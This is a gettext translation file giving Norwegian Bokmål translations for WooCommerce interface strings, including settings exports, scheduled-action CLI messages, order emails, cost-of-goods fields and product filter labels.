msgid "Includes all settings in WooCommerce | Settings | Integrations."
msgstr "Inkluderer alle innstillinger i «WooCommerce | Innstillinger | Integrasjoner»."
#: src/Admin/Features/Blueprint/Exporters/ExportWCSettingsIntegrations.php:35
msgid "Integrations"
msgstr "Integrasjoner"
#: src/Admin/Features/Blueprint/Exporters/ExportWCSettingsEmails.php:67
msgid "Includes all settings in WooCommerce | Settings | Emails."
msgstr "Inkluderer alle innstillinger i «WooCommerce > Innstillinger > E-post»."
#: src/Admin/Features/Blueprint/Exporters/ExportWCSettingsAdvanced.php:43
msgid "Includes all settings in WooCommerce | Settings | Advanced."
msgstr "Inkluderer alle innstillinger i «WooCommerce > Innstillinger > Avansert»."
#: src/Admin/Features/Blueprint/Exporters/ExportWCSettingsAccount.php:43
msgid "Includes all settings in WooCommerce | Settings | Account and Privacy."
msgstr "Inkluderer alle innstillinger i «WooCommerce > Innstillinger > Konto og personvern»."
#: src/Admin/Features/Blueprint/Exporters/ExportWCSettingsAccount.php:34
msgid "Account and Privacy"
msgstr "Konto og personvern"
#: src/Admin/Features/Blueprint/Exporters/ExportWCSettings.php:89
#: src/Admin/Features/Blueprint/Exporters/ExportWCSettingsGeneral.php:43
msgid "Includes all settings in WooCommerce | Settings | General."
msgstr "Inkluderer alle innstillinger i «WooCommerce > Innstillinger > Generelt»."
#: src/Admin/Features/Blueprint/Exporters/ExportWCPaymentGateways.php:85
msgid "Includes all settings in WooCommerce | Settings | Payments."
msgstr "Inkluderer alle innstillinger i «WooCommerce > Innstillinger > Betalinger»."
#: src/Admin/API/Settings.php:158
msgid "Settings section."
msgstr "Innstillingsseksjon."
#: src/Admin/API/Settings.php:152
msgid "Settings tab."
msgstr "Innstillingsfane."
#. translators: %s: error message.
#: src/Admin/API/Settings.php:127
msgid "Failed to save settings: %s"
msgstr "Kunne ikke lagre innstillinger: %s"
#: src/Admin/API/PaymentGatewaySuggestions.php:98
msgid "You are not allowed to make this request."
msgstr "Du har ikke tilgang til å gjøre denne forespørselen."
#: src/Admin/API/OnboardingProfile.php:350
msgid "Invalid country code."
msgstr "Ugyldig landskode."
#: src/Admin/API/OnboardingProfile.php:136
msgid "Country code."
msgstr "Landskode."
#: patterns/page-coming-soon-image-gallery.php:59
msgid "Great things are coming soon"
msgstr "Store ting kommer snart"
#. translators: %1$s is the current parameter and %2$s a comma-separated list
#. of the allowed types.
#: packages/email-editor/src/Validator/class-validator.php:227
msgid "%1$s is not of type %2$s."
msgstr "%1$s er ikke av typen %2$s."
#: packages/email-editor/src/Engine/Templates/class-templates.php:91
msgid "A general template for emails."
msgstr "En generell mal for e-post."
#: packages/email-editor/src/Engine/Templates/class-templates.php:90
msgid "General Email"
msgstr "Generell e-post"
#: packages/email-editor/src/Engine/Patterns/class-patterns.php:34
msgid "A collection of email content layouts."
msgstr "En samling av oppsett for e-post."
#: packages/email-editor/src/Engine/Patterns/class-patterns.php:33
msgctxt "Block pattern category"
msgid "Email Contents"
msgstr "E-postinnhold"
#: packages/email-editor/src/Engine/class-user-theme.php:75
msgid "Custom Email Styles"
msgstr "Egendefinerte e-poststiler"
#: packages/email-editor/src/Engine/class-send-preview-email.php:180
msgid "Invalid post"
msgstr "Ugyldig innlegg"
#: packages/email-editor/src/Engine/class-send-preview-email.php:165
msgid "Invalid email"
msgstr "Ugyldig e-post"
#: packages/email-editor/src/Engine/class-send-preview-email.php:161
msgid "Missing required data"
msgstr "Mangler påkrevd data"
#: packages/action-scheduler/classes/WP_CLI/System_Command.php:167
msgid "Detailed information about registered sources is not currently available."
msgstr "Detaljert informasjon om registrerte kilder er ikke tilgjengelig for øyeblikket."
#. translators: %d: number of executed actions
#: packages/action-scheduler/classes/WP_CLI/Action/Run_Command.php:102
msgid "Executed %d action."
msgid_plural "Executed %d actions."
msgstr[0] "Kjørte %d handling."
msgstr[1] "Kjørte %d handlinger."
#. translators: %1$d: count of actions evaluated. %2$s: type of action
#. evaluated.
#: packages/action-scheduler/classes/WP_CLI/Action/Run_Command.php:88
msgid "%1$d action %2$s."
msgid_plural "%1$d actions %2$s."
msgstr[0] "%1$d handling %2$s."
msgstr[1] "%1$d handlinger %2$s."
#. translators: %d: number of actions
#: packages/action-scheduler/classes/WP_CLI/Action/Run_Command.php:59
msgid "Executing %d action"
msgid_plural "Executing %d actions"
msgstr[0] "Kjører %d handling."
msgstr[1] "Kjører %d handlinger."
#. translators: %d is action ID.
#: packages/action-scheduler/classes/WP_CLI/Action/Get_Command.php:23
msgid "Unable to retrieve action %d."
msgstr "Kunne ikke hente handling %d."
#. translators: %1$d refers to the total number of tasks added, %2$s is the
#. action type
#: packages/action-scheduler/classes/WP_CLI/Action/Generate_Command.php:97
msgid "%1$d %2$s action scheduled."
msgid_plural "%1$d %2$s actions scheduled."
msgstr[0] "%1$d %2$s handling planlagt."
msgstr[1] "%1$d %2$s handlinger planlagt."
#. translators: %d is number of actions to create
#: packages/action-scheduler/classes/WP_CLI/Action/Generate_Command.php:70
msgid "Creating %d action"
msgid_plural "Creating %d actions"
msgstr[0] "Oppretter %d handling."
msgstr[1] "Oppretter %d handlinger."
#. translators: %2$d: number of actions deletions failed
#: packages/action-scheduler/classes/WP_CLI/Action/Delete_Command.php:76
msgid "%2$d failure."
msgid_plural "%2$d failures."
msgstr[0] "%2$d feil."
msgstr[1] "%2$d feil."
#. translators: %1$d: number of actions deleted
#: packages/action-scheduler/classes/WP_CLI/Action/Delete_Command.php:74
msgid "Deleted %1$d action"
msgid_plural "Deleted %1$d actions"
msgstr[0] "Slettet %1$d handling."
msgstr[1] "Slettet %1$d handlinger."
#. translators: %d: number of actions to be deleted
#: packages/action-scheduler/classes/WP_CLI/Action/Delete_Command.php:54
msgid "Deleting %d action"
msgid_plural "Deleting %d actions"
msgstr[0] "Sletter %d handling."
msgstr[1] "Sletter %d handlinger."
#. translators: %s refers to the exception error message.
#: packages/action-scheduler/classes/WP_CLI/Action/Create_Command.php:147
#: packages/action-scheduler/classes/WP_CLI/Action/Generate_Command.php:115
msgid "There was an error creating the scheduled action: %s"
msgstr "Det oppstod en feil under opprettelsen av den planlagte handlingen: %s"
#. translators: %1$s: type of action, %2$d: ID of the created action
#: packages/action-scheduler/classes/WP_CLI/Action/Create_Command.php:129
msgid "%1$s action (%2$d) scheduled."
msgstr "%1$s handling (%2$d) planlagt."
#: packages/action-scheduler/classes/WP_CLI/Action/Create_Command.php:110
msgid "Unable to create a scheduled action."
msgstr "Planlagt handling kunne ikke opprettes."
#: packages/action-scheduler/classes/WP_CLI/Action/Cancel_Command.php:114
msgid "scheduled action"
msgstr "planlagt handling"
#: packages/action-scheduler/classes/WP_CLI/Action/Cancel_Command.php:114
msgid "scheduled actions"
msgstr "planlagte handlinger"
#. translators: %1$s: singular or plural %2$s: refers to the exception error
#. message.
#: packages/action-scheduler/classes/WP_CLI/Action/Cancel_Command.php:113
msgid "There was an error cancelling the %1$s: %2$s"
msgstr "Det oppstod en feil ved kansellering av %1$s: %2$s"
#: packages/action-scheduler/classes/WP_CLI/Action/Cancel_Command.php:98
msgid "Scheduled action cancelled."
msgstr "Planlagt handling ble kansellert."
#: packages/action-scheduler/classes/WP_CLI/Action/Cancel_Command.php:89
msgid "Request to cancel scheduled actions completed."
msgstr "Forespørsel om å kansellere planlagte handlinger fullført."
#: packages/action-scheduler/classes/WP_CLI/Action/Cancel_Command.php:76
msgid "Please specify hook and/or group of actions to cancel."
msgstr "Angi krok og/eller gruppe av handlinger som skal avbrytes."
#: packages/action-scheduler/classes/WP_CLI/Action/Cancel_Command.php:59
msgid "Unable to cancel scheduled action: check the logs."
msgstr "Kunne ikke kansellere planlagt handling, sjekk loggene."
#: packages/action-scheduler/classes/WP_CLI/Action/Cancel_Command.php:49
msgid "Please specify hook of action to cancel."
msgstr "Spesifiser kroken for handlingen for som skal kanselleres."
#. translators: %1$s is WP CLI command (not translatable)
#: packages/action-scheduler/classes/ActionScheduler_AdminView.php:286
msgid "WP CLI commands are available: execute %1$s for a list of available commands."
msgstr "WP CLI-kommandoer er tilgjengelige, kjør %1$s for å få en liste over tilgjengelige kommandoer."
#: packages/action-scheduler/classes/ActionScheduler_AdminView.php:282
msgid "WP CLI"
msgstr "WP CLI"
#: packages/action-scheduler/classes/ActionScheduler_AdminView.php:279
msgid "Action Scheduler is currently being loaded from the following location. This can be useful when debugging, or if requested by the support team."
msgstr "Handlingsplanleggeren lastes for øyeblikket inn fra følgende plassering. Dette kan være nyttig ved feilsøking, eller hvis supportteamet ber om informasjonen."
#: includes/wc-template-functions.php:2599
msgid "Cart is not available. This may indicate that the function is being called before woocommerce_init or in an admin context."
msgstr "Handlekurven er ikke tilgjengelig. Dette kan tyde på at funksjonen blir kalt før woocommerce_init eller i en admin-kontekst."
#. translators: %s: admin email
#: includes/emails/class-wc-email.php:1154
msgid "Enter Bcc recipients (comma-separated) for this email."
msgstr "Angi mottakere (kommaseparert) av blindkopi for denne e-posten."
#: includes/emails/class-wc-email.php:1151
msgid "Bcc(s)"
msgstr "Blindkopi(er)"
#. translators: %s: admin email
#: includes/emails/class-wc-email.php:1137
msgid "Enter Cc recipients (comma-separated) for this email."
msgstr "Angi mottakere (kommaseparert) av kopi(er) for denne e-posten."
#: includes/emails/class-wc-email.php:1134
msgid "Cc(s)"
msgstr "Kopi(er)"
#: includes/emails/class-wc-email-new-order.php:198
#: templates/emails/block/admin-new-order.php:45
msgid "Congratulations on the sale!"
msgstr "Gratulerer med salget."
#: includes/emails/class-wc-email-new-order.php:86
msgid "New order: #{order_number}"
msgstr "Ny ordre: {order_number}"
#: includes/emails/class-wc-email-new-order.php:74
msgid "[{site_title}]: You've got a new order: #{order_number}"
msgstr "[{site_title}]: En ny ordre er mottatt: {order_number}"
#: includes/emails/class-wc-email-failed-order.php:170
#: templates/emails/block/admin-failed-order.php:47
msgid "We hope they’ll be back soon! Read more about <a href=\"https://woocommerce.com/document/managing-orders/\">troubleshooting failed payments</a>."
msgstr "Vi håper de snart er tilbake. Les mer om <a href=\"https://woocommerce.com/document/managing-orders/\">feilsøking av mislykkede betalinger</a>."
#: includes/emails/class-wc-email-failed-order.php:76
msgid "Order failed: #{order_number}"
msgstr "Ordre mislyktes: {order_number}"
#: includes/emails/class-wc-email-failed-order.php:51
msgid "Select who should be notified if an order that was previously processing or on-hold has failed."
msgstr "Velg hvem som skal varsles hvis en ordre som tidligere var under behandling eller på vent mislykkes."
#: includes/emails/class-wc-email-customer-reset-password.php:97
#: templates/emails/block/customer-reset-password.php:27
#: templates/emails/block/general-block-email.php:79
#: templates/emails/customer-reset-password.php:50
msgid "Reset your password"
msgstr "Tilbakestill ditt passord"
#: includes/emails/class-wc-email-customer-reset-password.php:85
msgid "Reset your password for {site_title}"
msgstr "Tilbakestill passordet ditt for {site_title}"
#: includes/emails/class-wc-email-customer-pos-refunded-order.php:104
#: includes/emails/class-wc-email-customer-refunded-order.php:99
msgid "Order refunded: {order_number}"
msgstr "Ordre refundert: {order_number}"
#: includes/emails/class-wc-email-customer-pos-refunded-order.php:100
#: includes/emails/class-wc-email-customer-refunded-order.php:95
msgid "Partial refund: Order {order_number}"
msgstr "Ordre delvis refundert: {order_number}"
#: includes/emails/class-wc-email-customer-note.php:68
msgid "A note has been added to your order from {site_title}"
msgstr "Et notat har blitt lagt til på din ordre fra {site_title}"
#: includes/emails/class-wc-email-customer-invoice.php:51
msgid "Manually send an email to your customers containing their order information and payment links"
msgstr "Send en e-post manuelt til kundene med ordreinformasjon og betalingslenker."
#: includes/emails/class-wc-email-customer-failed-order.php:147
#: includes/emails/class-wc-email-customer-refunded-order.php:283
msgid "If you need any help with your order, please contact us at {store_email}."
msgstr "Hvis du trenger hjelp får du gjerne kontakte oss på {store_email}."
#: includes/emails/class-wc-email-customer-completed-order.php:150
#: includes/emails/class-wc-email-customer-invoice.php:127
#: includes/emails/class-wc-email-customer-note.php:168
#: includes/emails/class-wc-email-customer-on-hold-order.php:148
#: includes/emails/class-wc-email-customer-processing-order.php:150
msgid "Thanks again! If you need any help with your order, please contact us at {store_email}."
msgstr "Takk for ordren. Hvis du trenger hjelp får du gjerne kontakte oss på {store_email}."
#: includes/emails/class-wc-email-customer-completed-order.php:100
#: templates/emails/block/customer-completed-order.php:27
msgid "Good things are heading your way!"
msgstr "Gode ting er på vei til deg."
#: includes/emails/class-wc-email-customer-completed-order.php:88
msgid "Your order from {site_title} is on its way!"
msgstr "Ordren din fra {site_title} er på vei."
#: includes/emails/class-wc-email-cancelled-order.php:77
#: includes/emails/class-wc-email-customer-cancelled-order.php:75
msgid "Order cancelled: #{order_number}"
msgstr "Ordre kansellert: {order_number}"
#. translators: 1: SKU.
#: includes/data-stores/class-wc-product-data-store-cpt.php:240
msgid "The product with SKU (%1$s) you are trying to insert is already present in the lookup table"
msgstr "Produktet med produknummer (%1$s) som du prøver å legge inn finnes allerede i oppslagstabellen"
#: includes/data-stores/class-wc-customer-data-store-session.php:84
msgid "WC_Session is not available, customer data cannot be saved to session."
msgstr "WC_Session er ikke tilgjengelig, og kundedata kan ikke lagres i økten."
#. translators: %s: Error message.
#: includes/class-wc-form-handler.php:370
#: src/Blocks/Domain/Services/CheckoutFieldsFrontend.php:242
msgid "An error occurred while saving account details: %s"
msgstr "Det oppstod en feil under lagring av kontoopplysninger: %s"
#: includes/class-wc-cart.php:1184
msgid "The selected product is invalid."
msgstr "Det valgte produktet er ugyldig."
#: includes/class-wc-brands.php:1128
msgid "Brands: "
msgstr "Merker: "
#: includes/admin/views/html-quick-edit-product.php:56
msgid "Cost value"
msgstr "Kostverdi"
#. translators: %s = cost value (formatted as currency)
#: includes/admin/views/html-bulk-edit-product.php:94
msgid "Enter cost value (%s)"
msgstr "Angi kostverdi (%s)"
#. Translators: %s: comma-separated email addresses to which the email is sent.
#: includes/admin/settings/class-wc-settings-emails.php:467
msgid "<b>To</b>: %s"
msgstr "<b>Til</b>: %s"
#. Translators: %s: comma-separated email addresses to which the email is
#. bcc-ed.
#: includes/admin/settings/class-wc-settings-emails.php:464
msgid "<b>Bcc</b>: %s"
msgstr "<b>Blindkopi</b>: %s"
#. Translators: %s: comma-separated email addresses to which the email is
#. cc-ed.
#: includes/admin/settings/class-wc-settings-emails.php:462
msgid "<b>Cc</b>: %s"
msgstr "<b>Kopi</b>: %s"
#: includes/admin/settings/class-wc-settings-emails.php:303
msgid "Automatically update email styles when theme styles change"
msgstr "Oppdater e-poststiler automatisk når temastiler endres"
#: includes/admin/settings/class-wc-settings-emails.php:302
msgid "Auto-sync with theme"
msgstr "Synkronisere automatisk med tema"
#: includes/admin/settings/class-wc-settings-emails.php:186
msgid "Logo width (px)"
msgstr "Logobredde (piksler)"
#: includes/admin/settings/class-wc-settings-advanced.php:57
#: src/Internal/Features/FeaturesController.php:470
msgid "Blueprint (beta)"
msgstr "Blåkopi (beta)"
#: includes/admin/settings/class-wc-settings-accounts.php:258
msgid "Retain refunded orders for a specified duration before anonymizing the personal data within them."
msgstr "Behold refunderte ordrer for en bestemt periode før personopplysningene anonymiseres i dem."
#: includes/admin/settings/class-wc-settings-accounts.php:257
msgid "Retain refunded orders"
msgstr "Behold refunderte ordrer"
#. Translators: %s = cost of the item (monetary value)
#: includes/admin/meta-boxes/views/html-variation-admin.php:231
msgid "%s (default)"
msgstr "%s (standard)"
#: includes/admin/meta-boxes/views/html-variation-admin.php:226
msgid "Add the amount it costs you to buy or make this product. Leave blank to use the default value from \"General\"."
msgstr "Legg til beløpet det koster å kjøpe eller produsere dette produktet. La det stå tomt for å bruke standardverdien fra «Generelt»."
#. translators: %s: currency symbol
#: includes/admin/meta-boxes/views/html-variation-admin.php:211
msgid "Cost (%s)"
msgstr "Kostnad (%s)"
#: includes/admin/meta-boxes/views/html-product-data-variations.php:99
msgid "Remove custom costs"
msgstr "Fjern egendefinerte kostnader"
#: src/Internal/CostOfGoodsSold/CostOfGoodsSoldController.php:160
msgid "Add the amount it costs you to buy or make this product."
msgstr "Legg til beløpet det koster å kjøpe eller produsere dette produktet."
#: src/Internal/CostOfGoodsSold/CostOfGoodsSoldController.php:159
msgid "Add the amount it costs you to buy or make this product. This will be applied as the default value for variations."
msgstr "Legg til beløpet det koster å kjøpe eller produsere dette produktet. Dette vil bli brukt som standardverdi for varianter."
#: includes/admin/importers/class-wc-product-csv-importer-controller.php:658
#: includes/admin/importers/class-wc-product-csv-importer-controller.php:872
#: includes/admin/meta-boxes/views/html-product-data-general.php:112
#: includes/admin/meta-boxes/views/html-product-data-variations.php:98
#: includes/export/class-wc-product-csv-exporter.php:176
msgid "Cost of goods"
msgstr "Produktkostnad"
#: includes/admin/class-wc-admin-assets.php:522
msgid "The custom cost of goods sold values will revert back to their defaults for all the variations. Would you like to continue?"
msgstr "De egendefinerte verdiene for produktkostnad vil tilbakestilles til standardverdiene for alle variantene. Ønsker du å fortsette?"
#: assets/client/blocks/order-confirmation-create-account/block.json
msgctxt "block description"
msgid "Allow customers to create an account after their purchase."
msgstr "La kundene opprette en konto etter kjøp."
#: src/Admin/Features/OnboardingTasks/Tasks/Payments.php:137
#: assets/client/admin/chunks/settings-payments-main.js:1
msgid "Test account"
msgstr "Testkonto"
#: src/Internal/CostOfGoodsSold/CogsAwareRestControllerTrait.php:116
msgid "If true, the effective value is the base value from the parent product plus the defined value; if false, the defined value is the final effective value."
msgstr "Hvis sant, er den effektive verdien basisverdien fra det overordnede produktet pluss den definerte verdien. Hvis usant, er den definerte verdien den endelige effektive verdien."
#: src/Internal/CostOfGoodsSold/CogsAwareRestControllerTrait.php:100
msgid "Applies to variations only. If true, the effective value is the base value from the parent product plus the defined value; if false, the defined value is the final effective value."
msgstr "Gjelder kun for varianter. Hvis sant, er den effektive verdien basisverdien fra det overordnede produktet pluss den definerte verdien. Hvis usant, er den definerte verdien den endelige effektive verdien."
#: src/Internal/Admin/Suggestions/PaymentsExtensionSuggestions.php:4040
msgid "Helio Pay"
msgstr "Helio Pay"
#: src/Internal/Admin/Settings/PaymentsProviders.php:871
msgid "Offer cryptocurrency payment options to your shoppers."
msgstr "Tilby betalingsalternativer for kryptovaluta til kundene."
#: src/Internal/Admin/Settings/PaymentsProviders.php:870
msgid "Crypto Payments"
msgstr "Crypto Payments"
#: src/Internal/Admin/RemoteFreeExtensions/DefaultFreeExtensions.php:216
#: src/Internal/Admin/RemoteFreeExtensions/DefaultFreeExtensions.php:538
msgid "Grow and retain customers with email, SMS, automations, and a consolidated view of customer interactions."
msgstr "Få og behold flere kunder med e-post, SMS, automatiseringer, samt en samlet oversikt over kundeinteraksjoner."
#: src/Internal/Admin/Notes/TrackingOptIn.php:73
msgid "Usage tracking activated"
msgstr "Brukssporing aktivert"
#: src/Admin/API/Settings.php:80
#: src/Internal/Admin/EmailPreview/EmailPreviewRestController.php:264
#: src/Internal/Admin/Emails/EmailListingRestController.php:161
msgid "Invalid nonce."
msgstr "Ugyldig nonce"
#: src/Internal/Admin/EmailPreview/EmailPreview.php:392
msgid ""
"This is a customer note. Customers can add a note to their order on checkout.\n"
"\n"
"It can be multiple lines. If there's no note, this section is hidden."
msgstr ""
"Dette er et kundenotat. Kundene kan legge til et notat til ordren i kassen.\n"
"\n"
"Notatet kan bestå av flere linjer. Denne delen er skjult hvis det ikke finnes et notat."
#. translators: {{label}} is the status filter item label.
#: src/Blocks/BlockTypes/ProductFilterStatus.php:136
msgid "Status: {{label}}"
msgstr "Status: {{label}}"
#. translators: %s: status.
#: src/Blocks/BlockTypes/ProductFilterStatus.php:71
msgid "Status: %s"
msgstr "Status: %s"
#. translators: %s: item label.
#: src/Blocks/BlockTypes/ProductFilterRemovableChips.php:76
msgid "Remove filter: %s"
msgstr "Fjern filter: %s"
#. translators: {{label}} is the rating filter item label.
#: src/Blocks/BlockTypes/ProductFilterRating.php:136
msgid "Rating: {{label}}"
msgstr "Vurdering: {{label}}"
#. translators: %s is referring to rating value. Example: Rated 4 out of 5.
#: src/Blocks/BlockTypes/ProductFilterRating.php:70
msgid "Rating: Rated %d out of 5"
msgstr "Vurdering: Rangert som %d av 5"
#. translators: {{min}} is the formatted minimum price.
#: src/Blocks/BlockTypes/ProductFilterPrice.php:146
msgid "Price: From {{min}}"
msgstr "Pris: Fra {{min}}"
#. translators: {{max}} is the formatted maximum price.
#: src/Blocks/BlockTypes/ProductFilterPrice.php:144
msgid "Price: Up to {{max}}"
msgstr "Pris: Opp til {{max}}"
#. translators: {{min}} and {{max}} are the formatted minimum and maximum
#. prices respectively.
#: src/Blocks/BlockTypes/ProductFilterPrice.php:142
msgid "Price: {{min}} - {{max}}"
msgstr "Pris: {{min}} - {{max}}"
#. translators: %s is the formatted minimum price.
#: src/Blocks/BlockTypes/ProductFilterPrice.php:79
msgid "Price: From %s"
msgstr "Pris: Fra %s"
#. translators: %s is the formatted maximum price.
#: src/Blocks/BlockTypes/ProductFilterPrice.php:73
msgid "Price: Up to %s"
msgstr "Pris: Opp til %s"
#. translators: %1$s and %2$s are the formatted minimum and maximum prices
#. respectively.
#: src/Blocks/BlockTypes/ProductFilterPrice.php:64
msgid "Price: %1$s - %2$s"
msgstr "Pris: %1$s - %2$s"
#. translators: {{label}} is the label of the active filter item.
#: src/Blocks/BlockTypes/ProductFilterActive.php:61
msgid "Remove filter: {{label}}"
msgstr "Fjern filter: {{label}}"
#: src/Blocks/BlockTypes/OrderConfirmation/Status.php:153
msgid "Order failed"
msgstr "Ordre mislyktes"
#: src/Blocks/BlockTypes/OrderConfirmation/Status.php:128
msgid "Order completed"
msgstr "Ordre fullført"
#: src/Blocks/BlockTypes/OrderConfirmation/Status.php:106
msgid "Order refunded"
msgstr "Ordre refundert"
#: src/Blocks/BlockTypes/OrderConfirmation/Status.php:88
msgid "Order cancelled"
msgstr "Ordre kansellert"
#. translators: 1: Disconnected user email
#: src/Admin/PluginsHelper.php:1128
msgid "Successfully disconnected from <b>%1$s</b>."
msgstr "Vellykket frakobling fra <b>%1$s</b>."
#: src/Admin/Features/Blueprint/Init.php:224
msgid "Includes all the installed themes."
msgstr "Inkluderer alle installerte temaer."
#: src/Admin/Features/Blueprint/Init.php:200
msgid "Includes all the items featured in WooCommerce | Settings."
msgstr "Inkluderer alle elementene som finnes i «WooCommerce > Innstillinger»."
#: src/Admin/Features/Blueprint/Exporters/ExportWCTaskOptions.php:69
msgid "Includes the task configurations for WooCommerce."
msgstr "Inkluderer oppgavekonfigurasjoner for WooCommerce."
#: src/Admin/Features/Blueprint/Exporters/ExportWCTaskOptions.php:60
msgid "Task Configurations"
msgstr "Oppgavekonfigurasjoner"
#: src/Admin/Features/Blueprint/Exporters/ExportWCCoreProfilerOptions.php:67
msgid "Includes onboarding configuration options"
msgstr "Inkluderer konfigurasjonsalternativer for oppstart."
#: src/Admin/Features/Blueprint/Exporters/ExportWCCoreProfilerOptions.php:58
msgid "Onboarding Configuration"
msgstr "Oppstartkonfigurasjon"
#: patterns/page-coming-soon-split-right-image.php:54
msgctxt "Used in the heading of the coming soon page"
msgid "Where cycling dreams take flight."
msgstr "Der sykkeldrømmer får luft under vingene."
#: patterns/page-coming-soon-split-right-image.php:42
msgctxt "Used in the paragraph of the coming soon page"
msgid "Dedicated to providing top-quality bikes, accessories, and expert advice for riders of all experience levels. Stay tuned."
msgstr "Dedikerte på å tilby sykler, tilbehør og ekspertrådgivning av topp kvalitet til syklister på alle erfaringsnivåer. Hold deg oppdatert."
#: patterns/page-coming-soon-split-right-image.php:32
msgctxt "Used in the heading of the coming soon page"
msgid "opening soon"
msgstr "åpner snart"
#. translators: %s: site name.
#: includes/shortcodes/class-wc-shortcode-my-account.php:97
msgid "Your account with %s is using a temporary password. We emailed you a link to change your password."
msgstr "Kontoen din på %s bruker et midlertidig passord. Vi har sendt deg en e-post med en lenke for å endre passordet ditt."
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-variations-controller.php:1216
msgid "Exclude product variations with any of the statuses from result set."
msgstr "Ekskluder produktvarianter med en av statusene fra resultatsettet."
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-variations-controller.php:1205
msgid "Limit result set to product variations with any of the statuses."
msgstr "Begrens resultatsettet til produktvarianter med en av statusene."
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-variations-controller.php:1198
msgid "Limit result set to downloadable product variations."
msgstr "Begrens resultatsettet til nedlastbare produktvarianter."
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-variations-controller.php:1191
msgid "Limit result set to virtual product variations."
msgstr "Begrens resultatsettet til virtuelle produktvarianter."
#: includes/class-wc-frontend-scripts.php:607
msgid "5 of 5 stars"
msgstr "5 av 5 stjerner"
#: includes/class-wc-frontend-scripts.php:606
msgid "4 of 5 stars"
msgstr "4 av 5 stjerner"
#: includes/class-wc-frontend-scripts.php:605
msgid "3 of 5 stars"
msgstr "3 av 5 stjerner"
#: includes/class-wc-frontend-scripts.php:604
msgid "2 of 5 stars"
msgstr "2 av 5 stjerner"
#: includes/class-wc-frontend-scripts.php:603
msgid "1 of 5 stars"
msgstr "1 av 5 stjerner"
#: includes/class-wc-frontend-scripts.php:590
msgid "Hide password"
msgstr "Skjul passord"
#: includes/class-wc-frontend-scripts.php:589
msgid "Show password"
msgstr "Vis passord"
#: includes/admin/class-wc-admin-assets.php:509
msgid "Warning: Sale prices will be removed if they are not lower than regular prices."
msgstr "Advarsel: Tilbudspriser vil bli fjernet hvis de ikke er lavere enn ordinære priser."
#: assets/client/blocks/product-summary/block.json
msgctxt "block description"
msgid "Display a short description about a product."
msgstr "Vis en kort beskrivelse av et produkt."
#: assets/client/blocks/product-summary/block.json
msgctxt "block title"
msgid "Product Summary"
msgstr "Produktsammendrag"
#: assets/client/blocks/add-to-cart-with-options-quantity-selector/block.json
msgctxt "block description"
msgid "Display an input field customers can use to select the number of products to add to their cart. "
msgstr "Vis et inndatafelt med trinn for å velge antall produkter som skal legges i handlekurven. "
#: src/Blocks/BlockTypes/MiniCartProductsTableBlock.php:43
#: assets/client/blocks/cart.js:12
#: assets/client/blocks/mini-cart-contents.js:13
#: assets/client/blocks/wc-cart-checkout-base-frontend.js:9
msgid "Products in cart"
msgstr "Produkter i handlekurven"
#: src/Admin/Features/OnboardingTasks/Tasks/Payments.php:134
#: assets/client/admin/chunks/settings-payments-main.js:1
msgid "Action needed"
msgstr "Handling nødvendig"
#: includes/admin/settings/class-wc-settings-emails.php:797
#: assets/client/admin/wp-admin-scripts/settings-embed.js:2
msgid "Sync with theme"
msgstr "Synkroniser med tema"
#: src/Admin/Features/Blueprint/Init.php:201
#: assets/client/admin/wp-admin-scripts/settings-embed.js:2
msgid "WooCommerce Settings"
msgstr "Innstillinger for WooCommerce"
#. translators: %1$s Site title, %2$s Order pay link
#. translators: %1$s: Site title, %2$s: Order pay link
#: templates/emails/block/general-block-email.php:30
#: templates/emails/customer-invoice.php:52
#: templates/emails/plain/customer-invoice.php:36
msgid "Sorry, your order on %1$s was unsuccessful. Your order details are below, with a link to try your payment again: %2$s"
msgstr "Beklager, ordren din på %1$s mislyktes. Ordredetaljene dine er nedenfor, med en lenke for å prøve å betale på nytt: %2$s"
#: src/StoreApi/Schemas/V1/ProductSchema.php:447
msgid "Stock availability class."
msgstr "Klasse for lagertilgjengelighet."
#: src/StoreApi/Schemas/V1/ProductSchema.php:441
msgid "Stock availability text."
msgstr "Tekst for lagertilgjengelighet."
#: src/StoreApi/Schemas/V1/ProductSchema.php:435
msgid "Information about the product's availability."
msgstr "Informasjon om produktets tilgjengelighet."
#: src/Internal/Orders/OrderStatusRestController.php:96
msgid "Order status slug."
msgstr "Identifikator for ordrestatus"
#: src/Internal/Orders/OrderStatusRestController.php:78
msgid "Order statuses not found"
msgstr "Ordrestatuser ble ikke funnet"
#: src/Internal/Features/FeaturesController.php:403
msgid "Enable order data caching in the datastore. This feature only works with high-performance order storage."
msgstr "Aktiver mellomlagring av ordredata i datalageret. Denne funksjonen fungerer bare med høyytelses ordrelagring."
#: src/Internal/Features/FeaturesController.php:402
msgid "HPOS Data Caching"
msgstr "Mellomlagring av HPOS-data"
#. translators: %s is the URL to the rate limiting documentation.
#: src/Internal/Features/FeaturesController.php:341
msgid "Enables rate limiting for Checkout place order and Store API /checkout endpoint. To further control this, refer to <a href=\"%s\" target=\"_blank\">rate limiting documentation</a>."
msgstr "Slå på frekvensbegrensning for å legge inn ordrer i kassen og butikkens APIs «/checkout»-endepunkt. Se <a href=\"%s\" target=\"_blank\">dokumentasjon for frekvensbegrensning</a> for å kontrollere dette ytterligere."
#: src/Internal/Features/FeaturesController.php:338
msgid "Rate limit Checkout"
msgstr "Frekvensbegrensning for kasse"
#: src/Internal/Admin/Suggestions/PaymentsExtensionSuggestions.php:3944
msgid "Clearpay allows customers to receive products immediately and pay for purchases over four installments, always interest-free."
msgstr "Clearpay gjør det mulig for kundene å motta produkter umiddelbart, og betale for kjøp over fire avdrag, alltid rentefritt."
#: src/Internal/Admin/Suggestions/PaymentsExtensionSuggestions.php:3943
msgid "Clearpay"
msgstr "Clearpay"
#: src/Internal/Admin/Suggestions/PaymentsExtensionSuggestions.php:3877
msgid "Affirm's tailored Buy Now Pay Later programs remove price as a barrier, turning browsers into buyers, increasing average order value, and expanding your customer base."
msgstr "Affirms skreddersydde «Kjøp nå, betal senere»-programmer fjerner pris som en barriere, gjør nettlesere til kjøpere, øker den gjennomsnittlige ordreverdien og utvider kundebasen din."
#: src/Internal/Admin/Suggestions/PaymentsExtensionSuggestions.php:3809
msgid "Credit/debit cards, Apple Pay, Google Pay, and more."
msgstr "Kreditt-/debetkort, Apple Pay, Google Pay og mer."
#: src/Internal/Admin/Suggestions/PaymentsExtensionSuggestions.php:3808
#: assets/client/admin/chunks/launch-store.js:1
msgid "Accept payments with Woo"
msgstr "Ta imot betalinger med Woo"
